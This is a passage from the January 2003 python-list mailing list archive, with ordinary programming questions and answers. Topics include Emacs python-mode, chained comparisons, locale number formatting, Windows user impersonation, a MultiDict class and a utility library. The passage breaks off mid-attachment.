> people ask for an editor don't reply with a "work environment".

The python-mode for emacs is a python editor. Insisting that it isn't
a valid answer to the request for a python editor because it requires
an emacs runtime environment makes no more sense than discounting IDLE
because it requires a Python runtime envirnoment.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From wilk-spamout at flibuste.net  Sun Jan 26 15:04:37 2003
From: wilk-spamout at flibuste.net (William)
Date: 26 Jan 2003 21:04:37 +0100
Subject: Emacs-tips for a Python-programmer
References: <8gWY9.15616$CG6.265357@news4.e.nsc.no>
Message-ID: <87fzrfr82y.fsf@flibuste.net>

"Thomas Weholt" <2002 at weholt.org> writes:

> Hi,
> 
> After my posting about commercial IDEs I got a lot of tips about tricks one
> can use in Emacs to manipulate python source. Does anybody have a collection
> of such tips? It would be nice to have all the features useful in
> Python-programming in Emacs documented in one place, for instance the page
> for Emacs python-mode at http://www.python.org
> 
> Just an idea.

great idea, i would like also. with for example a screenshot with a 3
buffers open, one with python-tut-info, one with code and one with
interpreter. Ideal to learn !

> 
> Best regards,
> Thomas
> 
> 

-- 
William Dode - http://flibuste.net



From robin at jessikat.fsnet.co.uk  Fri Jan  3 19:20:33 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sat, 4 Jan 2003 00:20:33 +0000
Subject: Leakage vs Cyclops
References: <KfdTAjAXSbF+EwYH@jessikat.demon.co.uk>
 <m3vg16nf4s.fsf@mira.informatik.hu-berlin.de>
Message-ID: <7GMPWjARjiF+EwvH@jessikat.fsnet.co.uk>

In article <m3vg16nf4s.fsf at mira.informatik.hu-berlin.de>, Martin v.
L?wis <martin at v.loewis.de> writes
>Robin Becker <robin at jessikat.fsnet.co.uk> writes:
>
>> With upper limit of 900 pages the peak working set is 15M with 2700
>> it rises to 45M. This seems to be a real leak, but how can I track
>> it down?
this leak is present with 1.52 so it's not a function of 2.2/gc. Are you
saying there are cycles/leaks that are not caught by inspecting toplevel
module variables?
-- 
Robin Becker



From cnetzer at mail.arc.nasa.gov  Fri Jan 24 16:29:54 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Fri, 24 Jan 2003 13:29:54 -0800
Subject: 1-line idiom to replace if blocks
In-Reply-To: <slrnb327s9.5jj.rmunn@localhost.localdomain>
References: <3e2cf624@post.usenet.com> <c718a6cf.0301232005.326b8068@posting.google.com> <slrnb327s9.5jj.rmunn@localhost.localdomain>
Message-ID: <200301242129.NAA19616@mail.arc.nasa.gov>

On Friday 24 January 2003 09:10, Robin Munn wrote:

>     # The idiom [false_val,true_val][condition] is equivalent to the
>     # C idiom (condition ? true_val : false_val)...
>     register_callback(1, lambda retval: ['Error','OK'][bool(retval)])
>     register_callback(2, lambda retval: ['Error','OK'][bool(retval)])
>     register_callback(3, lambda retval: ['Error','OK'][bool(retval)])
>     register_callback(4, lambda retval: ['Error','OK'][bool(retval)])
>     register_callback(5, lambda retval: ['Error','OK'][bool(retval)])
>     register_callback(6, lambda retval: ['Error','OK'][bool(retval)])

I think this technique is valid, SOLELY because you preceeded it with 
the comment that explains it's use.  Given the line space you save 
below, the extra lines used to comment the technique are almost 
mandatory (ie. it may save you or someone else a few minutes of time in 
the future.)

But having the idiom interspersed throughout code in random places is 
likely to cause more troubles than it is worth, at least down the line 
(there will be someone who wastes time figuring it out, more than was 
ever saved using it piecemeal).

I think the general principal applies elsewhere.  I've often used 
lambda's not like the above, and the economy of expression made it 
worth it, since I repeated many time in one place.  But then you could 
refactor the above code even further to have a callback factory, which 
might even be clearer in the long run. (or just a single named function 
for the specific case above, since all your callbacks do exactly the 
same thing)


-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)




From andrew-pythonlist at puzzling.org  Sat Jan 18 22:48:28 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sun, 19 Jan 2003 14:48:28 +1100
Subject: __parent__ - like attribute?
In-Reply-To: <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com>
References: <av7cuu$cu2$1@slb0.atl.mindspring.net> <YhlS9.24314$NB4.6001@FE05> <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com>
Message-ID: <20030119034828.GC8210@frobozz.local>

On Sat, Jan 18, 2003 at 05:23:45PM -0800, Dylan Reinhardt wrote:
> Seems like this should be easy, but I'm having a tough time figuring out 
> how to change an attribute in a parent object *as a side effect* of a 
> method called on a subobject.
> 
> An quick example:
[..snip..]
> 
> If this looks like manipulation of the _p_changed attribute in ZODB, it's 
> not a coincidence... that's what I'm hoping to use this for.  I realize I 
> could pull a reference to a from globals() assuming I know the parent class 
> is called "a" or "b", but I'm hoping there's a way to go about this without 
> storing the parent name in every sub-object.

If I'm understanding you correctly, you have a "spam" instance, which
contains an "eggs" instance, and you want changes to the eggs instance to
persisted.  

Why don't you simply make eggs inherit from Persistent, and let it set its
own _p_changed flag?

-Andrew.





From hancock at anansispaceworks.com  Wed Jan  1 00:30:40 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Tue, 31 Dec 2002 21:30:40 -0800
Subject: HELP! Must choose language!
In-Reply-To: <20030101042101.1615.84075.Mailman@mail.python.org>
References: <20030101042101.1615.84075.Mailman@mail.python.org>
Message-ID: <E18TbTs-0002QZ-00@harrier.mail.pas.earthlink.net>

On Tuesday 31 December 2002 08:21 pm,   wrote:
> Yu Wang wrote:
> 
> >?Yeah. ?I'm totally agreed with that.
> >?For commercial usage, python is far from a "perfect" language. You'll
> >?have to
> >?make a choice among C/C++ , java, or something else. But it will be
> >?the
> >?last one
> >?to choose python.
> 
> If Java were to be acceptable for commercial usage, what would prevent
> Python from it?

I think that Yu Wang must mean that Python has limited acceptance in the 
commercial job marketplace.

Of course, that's a silly thing to say to a 9th grader -- by the time they 
are actually looking for a job, the picture will have changed completely.  
Python may be the "only" language for business programming by then (or 
completely forgotten). Same for C++ or Java or Perl for that matter. 

Actually I'm sure all those languages will still be used by somebody, but 
relative popularity is fickle.  Just compare the current marketplace with 
where it was ten years ago (1993). Remember, that's the year HTTP was first 
deployed.  Linux was a fledgling and hardly anyone had heard of Python (I 
don't actually know when Python was invented). Java was hardly known either. 
Perl was around, but not that widely used (because it was the web that made 
it insanely popular).  I don't think CGI had been invented, and C/C++ 
dominated the commercial programming marketplace.  People who wanted to sound 
superior dissed those of us still using Fortran.  (So, okay, some things 
*haven't* changed, but you get the picture).  Time flies, huh?

Cheers,
Terry

--
Terry Hancock ( hancock at anansispaceworks.com )
Anansi Spaceworks  http://www.anansispaceworks.com

"Some things are too important to be taken seriously"




From akineko at pacbell.net  Wed Jan 22 12:49:38 2003
From: akineko at pacbell.net (Aki Niimura)
Date: 22 Jan 2003 09:49:38 -0800
Subject: Accessing a file in a network drive (python under win32)
Message-ID: <b714b8de.0301220949.214886e@posting.google.com>

Hi everyone,

I'm porting a program written in Unix to Windows environment.

When I tried to open a file in a network drive (which is from SAMBA server) 
using tkFileDialog.askopenfile(), I got the following error message:
IOError: [Errno 2] No such file or directory: '//Evelyn/ms_share/python_win32/jt
ag/t.py'

However ...
(1) It won't complain if I access a file in a local drive (ex) 'C:/config.sys'

(2) I can open the file from IDLE Python Shell
>>> fd = open('//Evelyn/ms_share/python_win32/jtag/t.py', 'r')

Does anybody have an idea what is going on here?
I'm not export on Windows. But why can't Windows be more like Unix?

Any info would be highly appreciated.

Aki-



From hancock at anansispaceworks.com  Mon Jan 13 13:59:57 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Mon, 13 Jan 2003 18:59:57 GMT
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]MinimalPython project)
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <vAsU9.66$_d2.118955@news.uswest.net> <5ItU9.7305$Dq.767535@newsread2.prod.itd.earthlink.net> <3E228E81.81B0FACD@alcyone.com>
Message-ID: <N0EU9.8308$Qr4.813921@newsread1.prod.itd.earthlink.net>

Erik Max Francis wrote:
> Terry Hancock wrote:
>> I immediately thought of the image of a snake biting its tail -- an
>> ancient
>> symbol of the cycle of life, recursion, etc.  The name for this symbol
>> appears to be variously:
>>  Uroboros  Ourobouros Ourobourus
>> Not sure which spelling is "canonical".  Not so easy to pronounce
>> though.
> 
> I've seen so many spelling variations that I would think that in itself
> would disqualify it as a good choice of names.  In this day and age, it
> makes sense to choose names that can be easily found through search
> engines.  If it's inherently hard to spell right, it's not a good name.

Agreed, but on the other extreme, if it's too common, it will get buried in 
unrelated fluff.

There's another snake-biting-tail in Norse mythology, called "Jormungard". 
The caduceus was also suggested by a friend, but that has a tight-binding 
to the medical profession.

Haven't found another really good one, though. Hmm. The only Monty Python 
reference that comes to my mind is the Deja Vu sketch, but that's not so 
great either, and it's also been taken (by a web service?).  You could also 
go for other snake names, e.g.: Viper (or Vyper).

PyPy suggests "pipe" or "pippy" or Py^2 which leads to PySquared or pi^2, 
which suggest pi*r^2 or the area of a circle (pi^2 itself occurs in some 
integrals, though I can't think of any interesting ones). Or perhaps 
Pythagoras.  Or maybe Pygmalion who created Galatea in Greek mythology, 
another symbol of recursion.

Terry
-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From adalke at mindspring.com  Wed Jan  8 22:48:22 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 08 Jan 2003 20:48:22 -0700
Subject: good name for a dict/list hybrid
In-Reply-To: <avd4ti$2jr$1@slb0.atl.mindspring.net>
References: <avd4ti$2jr$1@slb0.atl.mindspring.net>
Message-ID: <avirse$1pl$1@slb9.atl.mindspring.net>

 > I have a class which I'm calling DictList.  Its used for an ordered
 > dictionary which can have multiple keys, though in almost all cases
 > it only has single keys.

Thanks for the various suggestions.

Based on a suggestion from private mail I chose 'OrderedMultiDict'.
I've also implemented 'UnorderedMultiDict' which has weaker guarantees
about order, at the advantage of better deletion performance.  They
are both available in a module called 'MultiDict'.

 > Code will be posted after I get a good name.  :)

Attached.  Let me know if this proves useful to anyone else.

					Andrew
					dalke at dalkescientific.com
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: MultiDict.py
URL: <http://mail.python.org/pipermail/python-list/attachments/20030108/1789307f/attachment.ksh>

From timr at probo.com  Mon Jan  6 23:53:31 2003
From: timr at probo.com (Tim Roberts)
Date: Mon, 06 Jan 2003 20:53:31 -0800
Subject: Fast CGI with Python on UNIX and alternatives
References: <mailman.1041871796.10173.python-list@python.org>
Message-ID: <65nk1vc7h737p1qubm1n1mmj2st5trashh@4ax.com>

Doru-Catalin Togea <doru-cat at ifi.uio.no> wrote:
>
>Skimming fast through some Perl mailing, I read there are some Perl
>modules which are loaded into memory on web-servers once, and reside there
>and keep serving Perl CGI scripts, in order to make them fast.
>
>Is there anything similar available for Python? If so, is it common to
>have it installed, or will I have to take it up with my ISS?

There are several things available, but your first step should be to
determine whether or not you need them.  mod_perl is practically mandatory,
because the Perl interpreter is so vast that even a trivial program takes
multiple seconds to load.  Python does not suffer so much from that bloat,
so plain old CGI it be good enough for many sites.

>Finally, I read in some articles that using <table> tags to format HTML
>output is old-fashioned and that we should go over to CSS.

Someday that will be true.  For now, any kind of tricky CSS does not work
on a fair number of browsers.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.



From anton at vredegoor.doge.nl  Fri Jan 24 05:43:16 2003
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Fri, 24 Jan 2003 11:43:16 +0100
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <ygaX9.4400$bL4.431294@newsread2.prod.itd.earthlink.net> <13a533e8.0301211252.187ffeb9@posting.google.com> <b0l57d$12j$1@wheel2.two14.net> <13a533e8.0301220447.802ca54@posting.google.com> <3E2F37B4.C8CB8F1A@alcyone.com> <13a533e8.0301231503.680fe0eb@posting.google.com> <3E308EC2.F6FC9FE5@alcyone.com>
Message-ID: <b0r5g0$ei2$1@news.hccnet.nl>

On Thu, 23 Jan 2003 16:54:26 -0800, Erik Max Francis <max at alcyone.com>
wrote:

>The vagueness here is, of course, because reduce works on _any_ function
>that accumulates values over any types of elements, not just numeric
>ones.
>
>Specifying 
>
>	reduce(f, S, i)
>
>is really precisely equivalent to
>
>	reduce(f, [i] + S),

This provides me with a rationale to reuse some code that I did not
post because shorter solutions were already found. It can be used for
lists that are nested deeper than one level.

Regards,
		Anton.

from operator import getitem

def maxat(L,x):
    def getat(indices):
        return reduce(getitem,indices,L)
    def imax(i,j):
        if getat([i]+x)<getat([j]+x): return j
        return i
    return L[reduce(imax,range(len(L)))]
    
def test():
    L = [(1,3,5), (8,16,2), (2,56,4)]
    print maxat(L,[2])

if __name__=='__main__':
    test()






From 2002 at weholt.org  Thu Jan 16 04:28:42 2003
From: 2002 at weholt.org (Thomas Weholt)
Date: Thu, 16 Jan 2003 10:28:42 +0100
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk>
Message-ID: <gXuV9.11465$CG6.203610@news4.e.nsc.no>

Hm ... I see your point. I began thinking about this when I read some old
code where a variable changed datatype during its lifespan inside a function
several times. I think it was passed as a string, turned into a int and
could be returned from the function as None depending on its content. It was
awful. It was probably the worst code I've ever written, in any language,
but only Python allowed me to do it this way. If I'd prefixed the variable
to indicate it's datatype it would have been harder to change its datatype
that way, but then again --- changing datatype of a variable during
processing is probably not a very good idea in the first place.

Anyway, thanks for your input.

Thomas



"Max M" <maxm at mxm.dk> wrote in message news:3E267821.5030209 at mxm.dk...
> Thomas Weholt wrote:
> > In my day-job I use Delphi/Object Pascal. My firm has a coding-standard
> > where we prefix all variables with a single character to indicate
datatype;
> > strings are prefixed with s, integers with i, floats with f etc. etc.
> >
> > Are there any standards like this for Python? Or hints, tips, opinions
> > related to this topic?
>
>
> Yes there are: Dont! ;-)
>
> def adder(ia, ib):
>      return ia + ib
>
> print adder(40,2)
>  >>> 42
>
> print adder('40', '2')
>  >>> 402
>
> You cannot be shure what type a variable will be bound to.
>
> You cannot even be shure that it will stay that type, and then you will
> either have to rename them in you entire codebase, or have misleading
names.
>
> regards Max M
>
> --
>
> hilsen/regards Max M
>
> http://www.futureport.dk/
> Fremtiden, videnskab, skeptiscisme og transhumanisme
>





From guido at python.org  Fri Jan  3 11:32:22 2003
From: guido at python.org (Guido van Rossum)
Date: Fri, 03 Jan 2003 11:32:22 -0500
Subject: [Python-Dev] [development doc updates]
In-Reply-To: Your message of "Fri, 03 Jan 2003 16:30:07 +0100."
             <3E15AC7F.1020302@isg.de> 
References: <20021231183847.B367218EC36@grendel.zope.com>  
            <3E15AC7F.1020302@isg.de> 
Message-ID: <200301031632.h03GWMO13306@odiug.zope.com>

> In the "improved standard modules" - section of the "WhatsNew" & Co. 
> Texts the SSL support in imaplib.py is missing. (submitted March 2002 by 
> Piers Lauder and myself). Python 2.3 will be the first Python release in 
> which this change is official included.

Thanks!  I've added this to http://www.python.org/2.3/highlights.html

--Guido van Rossum (home page: http://www.python.org/~guido/)




From tim.one at comcast.net  Tue Jan  7 21:46:30 2003
From: tim.one at comcast.net (Tim Peters)
Date: Tue, 07 Jan 2003 21:46:30 -0500
Subject: Is it really good?
In-Reply-To: <slrnb1n3p0.n2l.grante@localhost.localdomain>
Message-ID: <LNBBLJKPBEHFEDALKOLCEECLDHAB.tim.one@comcast.net>

>>>     >>> 2 == 3 is good
>>>     0     # ????????????????????????

[Skip Montanaro]
>> Chained operations.  The above expression is effectively
>>
>>     (2 == 3) and (3 is good)
>>
>> The first is false, so the second is never evaluated.

[Grant Edwards]
> Why do you say that?

It's the "and" that short-circuits, not the "is".  Skip meant what he wrote.

> That logic would seem to indicate that
>
>   0 is 0
>
> should false, since the first term is false, the "is" short-circuits
> and returns false.

As above; "is" never short-circuits.

> ...
> Your statement also means that
>
>   >>> (2==3) is (2==3)
>   1
>
> should return false, but it doesn't.

That isn't a chained comparison.  This would be a chained comparison:

    2 == 3 is 2 == 3

and would return false, because it *means*

    (2 == 3) and (3 is 2) and (2 == 3)

> ...
> All this still doesn't explain why
>
>  (2==3) is good
>
> doesn't evaluate the right hand side of the "is"....

It does:

>>> (2 == 3) is good
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
NameError: name 'good' is not defined
>>>

The expression

    2 == 3 is good

is not the same expression as

    (2 == 3) is good

Chained comparisons in Python usually look more like

    0 <= j < 10

and then nobody is confused, neither by the meaning, nor by that

    (0 <= j) < 10

and

    0 <= (j < 10)

are entirely different expressions.  Replace "<=" by "==" and/or "is",
though, and the differences still exist, but for some reason it's harder for
people to see that.





From mertz at gnosis.cx  Sat Jan 25 14:32:25 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Sat, 25 Jan 2003 14:32:25 -0500
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <3E32A7D9.B5B3D214@engcorp.com>
Message-ID: <JZuM+kKkXYBY092yn@gnosis.cx>         

Peter Hansen <peter at engcorp.com> wrote previously:
|I'm also intrigued by the labview and clipper numbers, which are
|as I understand the only two purely proprietary languages listed.

Actually, no.  Clipper (a very fine language I used for many years) has
a Free Software implementation called Harbour.  It's funny that I just
mentioned this on another thread about FoxPro, even through I haven't
thought about it for a year or more.  See:

    http://www.harbour-project.org/

I have not read c.l.clipper recently. But when I last left it a fair
percentage of discussion was about Harbour, not only about Computer
Associates' proprietary product.  Of course, there are also many free
and proprietary libraries, applications, and so on that get discussed
over there.

Yours, Lulu...

--
---[ to our friends at TLAs (spread the word) ]--------------------------
Echelon North Korea Nazi cracking spy smuggle Columbia fissionable Stego
White Water strategic Clinton Delta Force militia TEMPEST Libya Mossad
---[ Postmodern Enterprises <mertz at gnosis.cx> ]--------------------------





From skip at pobox.com  Tue Jan 14 15:41:08 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 14 Jan 2003 14:41:08 -0600
Subject: Finding the calling method
In-Reply-To: <df392399.0301141226.1554a055@posting.google.com>
References: <df392399.0301141226.1554a055@posting.google.com>
Message-ID: <15908.30180.729799.743674@montanaro.dyndns.org>

    Mark> Is there a way while I'm inside method B to find out what method
    Mark> called it, which would be method A.

Check out sys._getframe() and various functions exposed in the inspect
module (getframeinfo(), currentframe(), stack(), etc).

Skip




From tim.one at comcast.net  Sun Jan 19 10:55:23 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sun, 19 Jan 2003 10:55:23 -0500
Subject: 2.3 a1 idle.py vs. idle.pyw
In-Reply-To: <m37kd1wfje.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEDNDJAB.tim.one@comcast.net>

[Tim]
> I'll show you exactly what I just did to run idle.py:
>
>     C:\Python23>python tools\idle\idle.py
>
> from a DOS box.  The IDLE that came up was (of course) for 2.3a1.

[Martin v. L?wis]
> What happens when you double-click idle.py?

I don't <wink>.  I'm on Win98SE here, and a longstanding bug, presumably in
Tcl/Tk, causes system instability if you try to run IDLE via the .py file.

If I were to try, I'd get the 2.2.2 IDLE, but because when I installed 2.3a1
I used the "advanced" button in the installer and told it *not* to associate
file extensions.  My .py and .pyw extensions are still associated with my
2.2 installation.

OK, I installed 2.3a1 again, without any special options.  Clicking idle.py
brought up 2.3a1 then.






From mwh at python.net  Sat Jan 18 11:33:45 2003
From: mwh at python.net (Michael Hudson)
Date: Sat, 18 Jan 2003 16:33:45 GMT
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <7xznpzv93c.fsf@ruckus.brouhaha.com> <yyybs2fsdmc.fsf@adams.patriot.net>
Message-ID: <7h3r8bal8na.fsf@pc150.maths.bris.ac.uk>

Nick Vargish <nav at adams.patriot.net> writes:

> Paul Rubin <phr-n2003b at NOSPAMnightsong.com> writes:
> 
> > If you're just looking for a practical solution, use the locale package,
> > which does this formatting for you.
> 
> I couldn't make this work:
> 
>   >>> locale.format("%d", 1234567, 1)
>   '1234567'
> 
> But thanks for the suggestion.

Well, you need an appropriate locale:

->> locale.setlocale(locale.LC_ALL, 'en_NZ')
'en_NZ'
->> locale.format('%d', 123456, 1)
'123,456'

(found via:

/>> for l in os.listdir("/usr/lib/locale"):
|..  l = locale.setlocale(locale.LC_ALL, l)
|..  conv = locale.localeconv()
|..  if conv['grouping'] and conv['thousands_sep'] == ',':
|..   print l,
\__ 

...)

Cheers,
M.

-- 
  If I had wanted your website to make noise I would have licked
  my finger and rubbed it across the monitor.
                           -- signature of "istartedi" on slashdot.org



From usenet at soraia.com  Tue Jan 28 14:20:28 2003
From: usenet at soraia.com (Joe Francia)
Date: Tue, 28 Jan 2003 19:20:28 GMT
Subject: end of lines
In-Reply-To: <fd5aa35c.0301280835.6f7dea91@posting.google.com>
References: <fd5aa35c.0301280835.6f7dea91@posting.google.com>
Message-ID: <3E36D81C.8070507@soraia.com>

This code works for me on Windows XP and ActiveState Python 2.2.2.  I'm 
pretty sure it works on 2.2.1 as well:

code = open(file, 'r').read()
compiled_code = compile(code, '<string>', 'exec')

You could even do this (to be more obscure):

compiled_code = compile(open(file, 'r').read(), '<string>', 'exec')

Some points to note:

* By specifying 'r' when opening the file, Python automagically converts 
line endings for you.
* Using read() does what join() and readlines() do, only in much less code.
* I don't know why you are using urllib.urlopen() to read a local file. 
  open(filename) works just as well.
* Strings cannot be modified in place (they are immutable). 
string.replace(code, "\r", "\n") probably returns the string you want, 
but you never actually store it anywhere.
* If you find you need to use urllib.urlopen() for some reason, you 
probably want to do this, to be safe: code = code.replace('\r\n', '\n')

Joe Francia
www.soraia.com

Eric Mattes wrote:
> Hi.
> 
> I am running Windows XP and activestate python 2.2.1. I'm writing a
> program that reads in a (local) file using urllib and the readlines()
> method like so:
> 
> code = "".join(urllib.urlopen(file).readlines())
> string.replace(code, "\r", "\n")
> compiled_code = compile(code, '<string>', 'exec')
> 
> This causes a SyntaxError "Invalid Syntax" with an arrow pointing at
> the end of the first line of the string read from the file. For
> example, the file's first line is:
> 
> print "hi"
> 
> The error will point to the space just after the "hi"
> 
> I read that the exec and compile functions need lines to end with only
> a newline character, so I put that replace call in there to filter out
> the CRs. It still
> doesn't work! I am really stumped by this one. Any help would be
> appreciated.
> 
> Thanks!
> -Eric




From maney at pobox.com  Tue Jan 28 15:18:25 2003
From: maney at pobox.com (Martin Maney)
Date: Tue, 28 Jan 2003 20:18:25 +0000 (UTC)
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <3E31568E.FD9C92B5@engcorp.com> <b0s6fq$95s5@eccws12.dearborn.ford.com> <p9EY9.499$qb1.122@nwrddc01.gnilink.net> <b11pl8$llf$1@wheel2.two14.net> <HJ3Z9.987$P64.136@nwrddc02.gnilink.net> <b14p8o$q9c$1@wheel2.two14.net> <_anZ9.1125$8p1.842@nwrddc04.gnilink.net>
Message-ID: <b16oih$ran$1@wheel2.two14.net>

Carl Banks <imbosol at vt.edu> wrote:
> I didn't have to guess that's what you would think.

Next time why don't you write down your predicition and save me the
trouble of replying?  <wink>

> I'd like to point out that a similar "abuse" of control structure is
> commonly advocated on this newsgroup, namely the while 1: idiom.

I'm not sure which idiomatic usage you're referring to.  "while 1"
seems to be exactly right when the intent is that the loop's
termination just cannot be stated there; it certainly seems more
sensible than "for i in xrange(positive_infinity)", no?

The "abuse" of while that seems most common is using it in place of a
loop that would be written using C's do...while form, but I really
can't see calling that abuse; it is, once again, merely the least
distasteful way of expressing the natural shape of the computation in a
language that doesn't have a better way of stating it.  Duplicating a
chunk of code by copy and paste is *not* a better way, except perhaps
for that mythical code that will be broken down into raw bits after
it's been used once.  Otherwise duplicated code is a mistake waiting to
happen, if it hasn't already.

Then again, perhaps you're thinking of the similar use where the test
can be written at the top, just not, or not readily, as a Python
expression.  That's an unfortunate usage, but again I can't see calling
it an abuse when it is the best way of expressing etc., etc.

Or is it something else altogether - maybe something I haven't seen so
often as to consider it common?

> I suppose "for i in [1]:" isn't as transparent as "while 1:", but
> idiom it's used for isn't as common.

What does "for i in [1]" get you that "while i" doesn't, aside from a
bit of namespace pollution?

[at this point I was interrupted, which may have contributed to my
seeing things differently when I continued]

Oh.  You like it that it says the loop isn't a real loop.

It still seems strained, but part of me can see that point of view.  I
have to screw my face up and keep one eye almost closed, but...



From dglenn at charter.net  Wed Jan 15 12:01:44 2003
From: dglenn at charter.net (Doug  Glenn)
Date: Wed, 15 Jan 2003 12:01:44 -0500
Subject: Warning! Newbie issue - Impersonating a user on Win32
Message-ID: <web-2072794@dc-mxdb02.cluster1.charter.net>

Greetings,

I have run into a roadblock and I cannot figure it out :( 
A portion of the following code came from the Python 
cookbook. That code followed verbatim gives me a 
Exception: pywintypes.api_error (1314, 'LogonUser', 'A 
required privilege is not held by the client.'). Poking 
through mail lists gives me a temporary respite. This is 
the AdjustPriviledges() definition.  Then I had to go and 
discover what flags it was expecting. Using any of the 
flags below will result in None being returned, so it 
works... Just how can I use it with the below script? I 
get the error on the a.login() call.  What do I need to 
change to make this work?  

The scenario is running this as a normal user and it 
elevate the process priveledge to run a program for the 
user using Admin rights.  It is not allowing the login, so 
it skips the code to run the program.

SE_CREATE_TOKEN_NAME              = 
"SeCreateTokenPrivilege"
SE_ASSIGNPRIMARYTOKEN_NAME        = 
"SeAssignPrimaryTokenPrivilege"
SE_LOCK_MEMORY_NAME               = 
"SeLockMemoryPrivilege"
SE_INCREASE_QUOTA_NAME            = 
"SeIncreaseQuotaPrivilege"
SE_UNSOLICITED_INPUT_NAME         = 
"SeUnsolicitedInputPrivilege"
SE_MACHINE_ACCOUNT_NAME           = 
"SeMachineAccountPrivilege"
SE_TCB_NAME                       = "SeTcbPrivilege"
SE_SECURITY_NAME                  = "SeSecurityPrivilege"
SE_TAKE_OWNERSHIP_NAME            = 
"SeTakeOwnershipPrivilege"
SE_LOAD_DRIVER_NAME               = 
"SeLoadDriverPrivilege"
SE_SYSTEM_PROFILE_NAME            = 
"SeSystemProfilePrivilege"
SE_SYSTEMTIME_NAME                = 
"SeSystemtimePrivilege"
SE_PROF_SINGLE_PROCESS_NAME       = 
"SeProfileSingleProcessPrivilege"
SE_INC_BASE_PRIORITY_NAME         = 
"SeIncreaseBasePriorityPrivilege"
SE_CREATE_PAGEFILE_NAME           = 
"SeCreatePagefilePrivilege"
SE_CREATE_PERMANENT_NAME          = 
"SeCreatePermanentPrivilege"
SE_BACKUP_NAME                    = "SeBackupPrivilege"
SE_RESTORE_NAME                   = "SeRestorePrivilege"
SE_SHUTDOWN_NAME                  = "SeShutdownPrivilege"
SE_DEBUG_NAME                     = "SeDebugPrivilege"
SE_AUDIT_NAME                     = "SeAuditPrivilege"
SE_SYSTEM_ENVIRONMENT_NAME        = 
"SeSystemEnvironmentPrivilege"
SE_CHANGE_NOTIFY_NAME             = 
"SeChangeNotifyPrivilege"
SE_REMOTE_SHUTDOWN_NAME           = 
"SeRemoteShutdownPrivilege"






import os
import sys
import win32security
import win32con
import win32api
from ntsecuritycon import *

program="sadmin.exe"
#domain=os.getenv('COMPUTERNAME')
domain=None

def AdjustPrivilege(priv, enable = 1):
     # Get the process token.
     flags = TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
     #flags= TOKEN_QUERY
     htoken = 
win32security.OpenProcessToken(win32api.GetCurrentProcess(), 
flags)
     # Get the ID for the privilege.
     id = win32security.LookupPrivilegeValue(None, priv)
     # Now obtain the privilege for this process.
     # Create a list of the privileges to be added.
     if enable:
         newPrivileges = [(id, SE_PRIVILEGE_ENABLED)]
     else:
         newPrivileges = [(id, 0)]
     # and make the adjustment.
     win32security.AdjustTokenPrivileges(htoken, 0, 
newPrivileges)
     


class Impersonate:

     def __init__(self, login, password):
         self.domain=domain
         self.login=login
         self.password=password
     def logon(self):
         self.handel=win32security.LogonUser(self.login,self.domain,self.password,win32con.LOGON32_LOGON_INTERACTIVE,win32con.LOGON32_PROVIDER_DEFAULT)
         win32security.ImpersonateLoggedOnUser(self.handel)
     def logoff(self):
         win32security.RevertToSelf() #terminates 
impersonation
         self.handel.Close() #guarantees cleanup


if __name__ =='__main__':
     a=Impersonate('foo''bar') 
         
     try:
         a.logon() #become the user
         AdjustPrivilege(SE_SYSTEM_PROFILE_NAME)
         
         try:
             os.execvp(program)
             print win32api.GetUserName() #show you're 
someone else
         finally:
             a.logoff() #return to normal
     except:
             print 'Exception:',sys.exc_type , 
sys.exc_value




From paj at pajhome.org.uk  Sun Jan 19 17:47:31 2003
From: paj at pajhome.org.uk (Paul Johnston)
Date: Sun, 19 Jan 2003 22:47:31 +0000
Subject: Is it pythonic to have my own util library?
Message-ID: <3E2B2B03.9C01FABE@pajhome.org.uk>

Hi,

One thing I've noticed about my programming style is that whatever
language I use, I usually end up having a "paj's utility library" that
makes some common tasks one-liners.

Python's neat concise style takes away the need for a lot of them - for
example open(filename).read() is just perfect. But still I've got quite
a few functions - mostly for database access and template files. I've
attached the one I'm using for at the moment and would be interested in
comments.

Is this a good idea?
Is there some high-level database API I haven't found?
Are there better packages for doing templates?

I'd be interested in comments on the readability of
http://pajhome.org.uk/site/guest_src.html

Thanks,

Paul
http://pajhome.org.uk/
-------------- next part --------------
#--
# Paj's python utility library
#--
import re, string, time, MySQL, os

#--
# Template class
#
# This class let you use template files, where variables like $$VARIABLE are
# substituted, using a hash of data. An exception is raised if the variable is
# not defined.
#
# The templates can contain blocks deliminated by <$ block name $>...<$ end $>
# Newlines around the deliminators are removed. The main block is called ''
#--
class Template:  
